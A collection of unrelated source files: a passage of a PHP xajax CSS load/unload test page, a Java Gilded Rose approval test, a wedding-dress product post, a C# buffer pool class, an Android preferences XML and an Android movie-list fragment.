			$objResponse->includeCSS('css2.css');
			$objResponse->append('log', 'innerHTML', 'CSS2 loaded.
');
			return $objResponse;
		}

		function unloadCSS2() {
			global $objResponse;
			$objResponse->removeCSS('css2.css');
			$objResponse->append('log', 'innerHTML', 'CSS2 unloaded.
');
			return $objResponse;
		}

		function loadCSS1_Print() {
			global $objResponse;
			$objResponse->includeCSS('css3.css');
			$objResponse->includeCSS('css1.css', 'print');
			$objResponse->append('log', 'innerHTML', 'CSS1 loaded for Print media.
');
			return $objResponse;
		}

		function unloadCSS1_Print() {
			global $objResponse;
			$objResponse->removeCSS('css3.css');
			$objResponse->removeCSS('css1.css', 'print');
			$objResponse->append('log', 'innerHTML', 'CSS1 unloaded for Print media.
');
			return $objResponse;
		}

		function loadCSS2_Print() {
			global $objResponse;
			$objResponse->includeCSS('css4.css');
			$objResponse->includeCSS('css2.css', 'print');
			$objResponse->append('log', 'innerHTML', 'CSS2 loaded for Print media.
');
			return $objResponse;
		}

		function unloadCSS2_Print() {
			global $objResponse;
			$objResponse->removeCSS('css4.css');
			$objResponse->removeCSS('css2.css', 'print');
			$objResponse->append('log', 'innerHTML', 'CSS2 unloaded for Print media.
');
			return $objResponse;
		}
	}

	$functions = new clsFunctions();

	$aFunctions = $xajax->register(XAJAX_CALLABLE_OBJECT, $functions);

	$xajax->processRequest();

	$sRoot = dirname(dirname(dirname(__FILE__)));

	if (false == class_exists('xajaxControl')) {
		$sCore = '/xajax_core';
		include_once($sRoot . $sCore . '/xajaxControl.inc.php');
	}

	$sControls = '/xajax_controls';
	include_once($sRoot . $sControls . '/document.inc.php');
	include_once($sRoot . $sControls . '/content.inc.php');
	include_once($sRoot . $sControls . '/group.inc.php');
	include_once($sRoot . $sControls . '/form.inc.php');
	include_once($sRoot . $sControls . '/misc.inc.php');

	$buttonLoadCSS1 = new clsButton(array(
		'attributes' => array(
			'class' => 'loadCSS1',
			'id' => 'loadCSS1'
			),
		'children' => array(new clsLiteral('Load CSS 1')),
		'event' => array('onclick', $aFunctions['loadcss1'])
		));

	$buttonUnloadCSS1 = new clsButton(array(
		'attributes' => array(
			'class' => 'initiallyHidden unloadCSS1',
			'id' => 'unloadCSS1'
			),
		'children' => array(new clsLiteral('Unload CSS 1')),
		'event' => array('onclick', $aFunctions['unloadcss1'])
		));

	$buttonLoadCSS2 = new clsButton(array(
		'attributes' => array(
			'class' => 'loadCSS2',
			'id' => 'loadCSS2'
			),
		'children' => array(new clsLiteral('Load CSS 2')),
		'event' => array('onclick', $aFunctions['loadcss2'])
		));

	$buttonUnloadCSS2 = new clsButton(array(
		'attributes' => array(
			'class' => 'initiallyHidden unloadCSS2',
			'id' => 'unloadCSS2'
			),
		'children' => array(new clsLiteral('Unload CSS 2')),
		'event' => array('onclick', $aFunctions['unloadcss2'])
		));

	$buttonLoadCSS1_Print = new clsButton(array(
		'attributes' => array(
			'class' => 'loadCSS1_Print',
			'id' => 'loadCSS1_Print'
			),
		'children' => array(new clsLiteral('Load CSS 1 (print)')),
		'event' => array('onclick', $aFunctions['loadcss1_print'])
		));

	$buttonUnloadCSS1_Print = new clsButton(array(
		'attributes' => array(
			'class' => 'initiallyHidden unloadCSS1_Print',
			'id' => 'unloadCSS1_Print'
			),
		'children' => array(new clsLiteral('Unload CSS 1 (print)')),
		'event' => array('onclick', $aFunctions['unloadcss1_print'])
		));

	$buttonLoadCSS2_Print = new clsButton(array(
		'attributes' => array(
			'class' => 'loadCSS2_Print',
			'id' => 'loadCSS2_Print'
			),
		'children' => array(new clsLiteral('Load CSS 2 (print)')),
		'event' => array('onclick', $aFunctions['loadcss2_print'])
		));

	$buttonUnloadCSS2_Print = new clsButton(array(
		'attributes' => array(
			'class' => 'initiallyHidden unloadCSS2_Print',
			'id' => 'unloadCSS2_Print'
			),
		'children' => array(new clsLiteral('Unload CSS 2 (print)')),
		'event' => array('onclick', $aFunctions['unloadcss2_print'])
		));

ob_start();
?>

<?
	$objTestScriptPlugin->printHeader($xajax, "Load / Unload CSS files",ob_get_clean());

	ob_start();
?>

<?php $buttonLoadCSS1->printHTML(); ?><?php $buttonUnloadCSS1->printHTML(); ?>

<?php $buttonLoadCSS2->printHTML(); ?><?php $buttonUnloadCSS2->printHTML(); ?>

Header Text

This is the body text.

This is the tagline.

<?php $buttonLoadCSS1_Print->printHTML(); ?><?php $buttonUnloadCSS1_Print->printHTML(); ?>

<?php $buttonLoadCSS2_Print->printHTML(); ?><?php $buttonUnloadCSS2_Print->printHTML(); ?>

<?
	$objTestScriptPlugin->printControlPanel(ob_get_clean());

	$objTestScriptPlugin->printStatusPanel();
	$objTestScriptPlugin->printLogPanel();
	$objTestScriptPlugin->printDescriptionPanel("
		This test script demonstrates the ability to request the loading and unloading of CSS files from the server side.
		Click the load button for either CSS1 or CSS2 and watch the browser apply the style changes to the page nearly
		instantly.  Once loaded, the style changes can be removed with the unload button.  *NEW*  This test script now
		shows the use of the new media (optional parameter).  When you click the load or unload CSS1 and CSS2 for print,
		you can see the changes only in the print preview or on a printed page.
	");
	$objTestScriptPlugin->printFooter();


text:
package gildedrose;

import org.approvaltests.Approvals;
import org.approvaltests.reporters.DiffReporter;
import org.approvaltests.reporters.UseReporter;
import org.junit.Test;

public class GildedRoseTest {

	@Test
	@UseReporter(DiffReporter.class)
	public void test() throws Exception {
		Item[] items = new Item[] {
				new Item("+5 Dexterity Vest", 10, 20),
				new Item("Aged Brie", 2, 50),
				new Item("Aged Brie", 0, 50),
				new Item("Aged Brie", -1, 5),
				new Item("Backstage passes to a TAFKAL80ETC concert",  5, 20),
				new Item("Backstage passes to a TAFKAL80ETC concert",  5, 49),
				new Item("Backstage passes to a TAFKAL80ETC concert", 10, 20),
				new Item("Backstage passes to a TAFKAL80ETC concert", 10, 49),
				new Item("Backstage passes to a TAFKAL80ETC concert", 11, 20),
				new Item("Backstage passes to a TAFKAL80ETC concert",  0, 20),
				new Item("Sulfuras, Hand of Ragnaros", 0, 1),
				new Item("Sulfuras, Hand of Ragnaros", -1, 1),
				new Item("Elixir of the Mongoose", 0, 0),
				new Item("Elixir of the Mongoose", 0, 7),
		};

		new GildedRose(items).updateQuality();

		Approvals.verifyAll("Items", items);
	}
}


text:
layout: post
date: '2016-07-13'
title: "Bianca Sposa Art. 1970 Sleeveless Chapel Train Aline/Princess"
category: Bianca Sposa
tags: [Bianca Sposa,Aline/Princess ,Sweetheart,Chapel Train,Sleeveless]
---
### Bianca Sposa Art. 1970
Just **$259.99**
###   Sleeveless Chapel Train Aline/Princess

BRANDS	Bianca Sposa

Silhouette	Aline/Princess

Neckline	Sweetheart

Hemline/Train	Chapel Train

Sleeve	Sleeveless

Buy it: [https://www.readybrides.com/en/bianca-sposa/20054-bianca-sposa-art-1970.html](https://www.readybrides.com/en/bianca-sposa/20054-bianca-sposa-art-1970.html)


text:
namespace Whitelog.Core.Binary.Serializer.MemoryBuffer
{
    public class BufferPoolProxy:  IBufferAllocator
    {
        public static BufferPoolProxy Instance { get; private set; }
        private BufferPool m_bufferPool = new BufferPool();

        static  BufferPoolProxy()
        {
            Instance = new BufferPoolProxy();
        }

        public IBuffer Allocate()
        {
            return m_bufferPool.GetBuffer();
        }

        public void Dispose()
        {
        }

        public int BufferSize
        {
            get { return BufferPool.BufferLength; }
        }
    }
}


text:
<PreferenceScreen xmlns:android="http://schemas.android.com/apk/res/android">

    <CheckBoxPreference
        android:key="pref_logged_in"
        android:title="@string/pref_remainLogged_in"
        android:summary="@string/pref_login_description"
        android:defaultValue="true" />

    <!-- NOTE: EditTextPreference accepts EditText attributes. -->
    <!-- NOTE: EditTextPreference's summary should be set to its value by the activity code. -->
    <EditTextPreference
        android:key="pref_player_url"
        android:title="@string/pref_player_title"
        android:summary="@string/pref_player_des"
        android:defaultValue="@string/pref_player_default"
        android:selectAllOnFocus="true"
        android:inputType="textCapWords"
        android:capitalize="words"
        android:singleLine="true"
        android:maxLines="1" />
    <EditTextPreference
        android:key="pref_server_url"
        android:title="@string/pref_server_title"
        android:summary="@string/pref_server_des"
        android:defaultValue="@string/pref_server_default"
        android:selectAllOnFocus="true"
        android:inputType="textCapWords"
        android:capitalize="words"
        android:singleLine="true"
        android:maxLines="1" />
    <PreferenceCategory
        android:icon="@drawable/gear_icon"
        android:title="@string/playerconfig">
        <EditTextPreference
            android:key="pref_user"
            android:title="@string/playeruser"
            android:icon="@mipmap/icuserprofiles"
            android:summary="@string/playerconfig_summary"
            android:defaultValue="default"
            android:selectAllOnFocus="true"
            android:inputType="textEmailAddress|textPersonName"
            android:singleLine="true"
            android:maxLines="1" />
        <EditTextPreference
            android:key="pref_password"
            android:title="@string/playerpass"
            android:icon="@android:drawable/ic_secure"
            android:summary="Taverna Player Password"
            android:defaultValue="default"
            android:selectAllOnFocus="true"
            android:inputType="textPassword"
            android:singleLine="true"
            android:maxLines="1" />
        </PreferenceCategory>
    <PreferenceCategory
        android:icon="@drawable/gear_icon"
        android:summary="@string/myexperimentsummary"
        android:title="@string/myexperimenttitle">
        <EditTextPreference
            android:key="myexperimentuser"
            android:title="@string/playeruser"
            android:icon="@mipmap/icuserprofiles"
            android:summary="@string/myexperimentsummary"
            android:defaultValue="default"
            android:selectAllOnFocus="true"
            android:inputType="textEmailAddress|textPersonName"
            android:singleLine="true"
            android:maxLines="1" />
        <EditTextPreference
            android:key="myexperimentpass"
            android:title="@string/playerpass"
            android:icon="@android:drawable/ic_secure"
            android:summary="Myexperiment password"
            android:defaultValue="default"
            android:selectAllOnFocus="true"
            android:inputType="textPassword"
            android:singleLine="true"
            android:maxLines="1" />
    </PreferenceCategory>

</PreferenceScreen>
<!-- From: file:/root/Desktop/AndroidLab/TavernaMobile2/app/src/main/res/xml/pref_general.xml -->


text:
package com.example.amit.popularmovies;

import android.app.Activity;
import android.content.Context;
import android.content.SharedPreferences;
import android.content.res.TypedArray;
import android.os.Bundle;
import android.util.AttributeSet;
import android.view.LayoutInflater;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.MenuItem;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewTreeObserver;
import android.widget.AbsListView;

import com.example.amit.popularmovies.api.MoviesService;
import com.example.amit.popularmovies.api.NetworkInstance;
import com.example.amit.popularmovies.data.MoviesContract;
import com.example.amit.popularmovies.model.DiscoverMovieResponse;
import com.example.amit.popularmovies.model.MovieDiscoverResult;
import com.github.clans.fab.FloatingActionButton;

import java.util.List;

import androidx.fragment.app.Fragment;
import androidx.recyclerview.widget.GridLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;

public class MoviesFragment extends Fragment implements View.OnClickListener, SharedPreferences.OnSharedPreferenceChangeListener {
    public static final String LOG_TAG = MoviesFragment.class.getSimpleName();
    private MoviesAdapter mMoviesAdapter;
    private boolean mAutoSelectView;
    private int mChoiceMode;

    private RecyclerView mRecyclerView;
    private FloatingActionButton mSortbyPopular;
    private FloatingActionButton mSortbyRating;
    private FloatingActionButton mSortbyFavourite;

    public static SharedPreferences sp;
    int item_count = 0;

    private int mPosition = RecyclerView.NO_POSITION;

    private static final String SELECTED_KEY = "selected_position";
    // SQL query Pareameters
    public static String sortOrder = null;
    public static String whereClause = null;
    public static String whereArgs = null;

    private static final int MOVIES_LOADER = 0;

    private static final String[] MOVIES_COLUMNS = {

            MoviesContract.MoviesEntry._ID,
            MoviesContract.MoviesEntry.COLUMN_MOVIE_TITLE,
            MoviesContract.MoviesEntry.COLUMN_MOVIE_POSTERPATH,
            MoviesContract.MoviesEntry.COLUMN_MOVIE_MOVID

    };

    static final int COL_MOVIES_ID = 0;
    static final int COL_MOVIES_TITLE = 1;
    static final int COL_MOVIES_POSTERPATH = 2;
    static final int COL_MOVIES_MOVIEID = 3;

    public interface ItemSelectCallback {

        public void onItemSelected(MovieDiscoverResult movieDiscoverResult);
    }

    public MoviesFragment() {
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setHasOptionsMenu(true);
    }

    @Override
    public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) {
        inflater.inflate(R.menu.movies_fragment, menu);
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {

        return super.onOptionsItemSelected(item);
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {

        View rootView = inflater.inflate(R.layout.fragment_main, container, false);

        mRecyclerView = rootView.findViewById(R.id.recyclerview_products);
        mRecyclerView.setLayoutManager(new GridLayoutManager(getActivity(), (MainActivity.mTwoPane) ? 3 : 2));
        View emptyView = rootView.findViewById(R.id.recyclerview_movies_empty);
        mSortbyPopular = rootView.findViewById(R.id.sort_item_popular);
        mSortbyRating = rootView.findViewById(R.id.sort_item_high_rating);
        mSortbyFavourite = rootView.findViewById(R.id.sort_item_favourite);
        mSortbyPopular.setOnClickListener(this);
        mSortbyRating.setOnClickListener(this);
        mSortbyFavourite.setOnClickListener(this);

        mRecyclerView.setHasFixedSize(true);

        mMoviesAdapter = new MoviesAdapter(getActivity(), new MoviesAdapter.MoviesAdapterOnClickHandler() {
            @Override
            public void onClick(MovieDiscoverResult movieDiscoverResult, MoviesAdapter.MoviesAdapterViewHolder vh) {
                ((ItemSelectCallback) getActivity())
                        .onItemSelected(movieDiscoverResult);
                mPosition = vh.getAdapterPosition();
            }
        }, emptyView, mChoiceMode);

        mRecyclerView.setAdapter(mMoviesAdapter);

        sp = this.getActivity().getSharedPreferences("service_validation", Context.MODE_PRIVATE);
        item_count = sp.getInt("TOTAL_ITEMS", item_count);

        if (savedInstanceState != null) {
            if (savedInstanceState.containsKey(SELECTED_KEY)) {

                mPosition = savedInstanceState.getInt(SELECTED_KEY);
            }
            mMoviesAdapter.onRestoreInstanceState(savedInstanceState);
        }

        fetchMoviesData();

        return rootView;
    }

    @Override
    public void onInflate(Activity activity, AttributeSet attrs, Bundle savedInstanceState) {
        super.onInflate(activity, attrs, savedInstanceState);
        TypedArray a = activity.obtainStyledAttributes(attrs, R.styleable.ForecastFragment,
                0, 0);
        mChoiceMode = a.getInt(R.styleable.ForecastFragment_android_choiceMode, AbsListView.CHOICE_MODE_NONE);
        mAutoSelectView = a.getBoolean(R.styleable.ForecastFragment_autoSelectView, false);
        a.recycle();
    }

    @Override
    public void onSaveInstanceState(Bundle outState) {

        if (mPosition != RecyclerView.NO_POSITION) {
            outState.putInt(SELECTED_KEY, mPosition);
        }
        mMoviesAdapter.onSaveInstanceState(outState);
        super.onSaveInstanceState(outState);
    }

    private void fetchMoviesData() {
        MoviesService apiService =
                NetworkInstance.getRetrofitInstance().create(MoviesService.class);

        Call<DiscoverMovieResponse> call = apiService.getPopularMovies(getContext().getString(R.string.api_key), "false",
                "popularity.desc", "1");
        call.enqueue(new Callback<DiscoverMovieResponse>() {
            @Override
            public void onResponse(Call<DiscoverMovieResponse> call, Response<DiscoverMovieResponse> response) {
                int statusCode = response.code();
                DiscoverMovieResponse discoverMovieResponse = response.body();
                if(discoverMovieResponse != null)
                    updateView(discoverMovieResponse.getResults());
                else
                    updateEmptyView();
            }

            @Override
            public void onFailure(Call<DiscoverMovieResponse> call, Throwable t) {
                // Log error here since request failed
                updateEmptyView();
            }
        });
    }

    private void updateView(List<MovieDiscoverResult> results) {
        mMoviesAdapter.setMoviesData(results);
        if (mPosition != RecyclerView.NO_POSITION) {

            mRecyclerView.smoothScrollToPosition(mPosition);
        }
        updateEmptyView();
        if (results.size() > 0) {
            mRecyclerView.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {
                @Override
                public boolean onPreDraw() {
                    // Since we know we're going to get items, we keep the listener around until
                    // we see Children.
                    if (mRecyclerView.getChildCount() > 0) {
                        mRecyclerView.getViewTreeObserver().removeOnPreDrawListener(this);
                        int itemPosition = mMoviesAdapter.getSelectedItemPosition();
                        if (RecyclerView.NO_POSITION == itemPosition) itemPosition = 0;
                        RecyclerView.ViewHolder vh = mRecyclerView.findViewHolderForAdapterPosition(itemPosition);
                        if (null != vh && mAutoSelectView) {
                            mMoviesAdapter.selectView(vh);
                        }
                        return true;
                    }
                    return false;
                }
            });
        }
    }

    @Override
    public void onClick(View v) {

        if (v.getId() == mSortbyFavourite.getId()) {
            whereClause = MoviesContract.MoviesEntry.COLUMN_MOVIE_FAVOURITE + " =1";
            sortOrder = null;
        } else if (v.getId() == mSortbyRating.getId()) {
            sortOrder = MoviesContract.MoviesEntry.COLUMN_MOVIE_USERRATING + " DESC";
            whereClause = null;
        } else if (v.getId() == mSortbyPopular.getId()) {
            sortOrder = null;
            whereClause = null;
        }
    }

    private void updateEmptyView() {
//        if (mMoviesAdapter.getItemCount() == 0) {
//            TextView tv = (TextView) getView().findViewById(R.id.recyclerview_movies_empty);
//            if (null != tv) {
//                // if cursor is empty, why? do we have an invalid location
//                int message = R.string.empty_forecast_list;
//                @MoviesSyncAdapter.ErrorStatus int location = Utility.getErrorStatus(getActivity());
//                switch (location) {
//                    case MoviesSyncAdapter.STATUS_SERVER_DOWN:
//                        message = R.string.empty_movie_list_server_down;
//                        break;
//                    case MoviesSyncAdapter.STATUS_SERVER_INVALID:
//                        message = R.string.empty_movie_list_server_error;
//                        break;
//                    default:
//                        if (!Utility.isNetworkAvailable(getActivity())) {
//                            message = R.string.empty_movie_list_no_network;
//                        }
//                }
//                tv.setText(message);
//            }
//        }
    }

    @Override
    public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
        if (key.equals(getString(R.string.pref_error_status_key))) {
            updateEmptyView();
        }
    }
}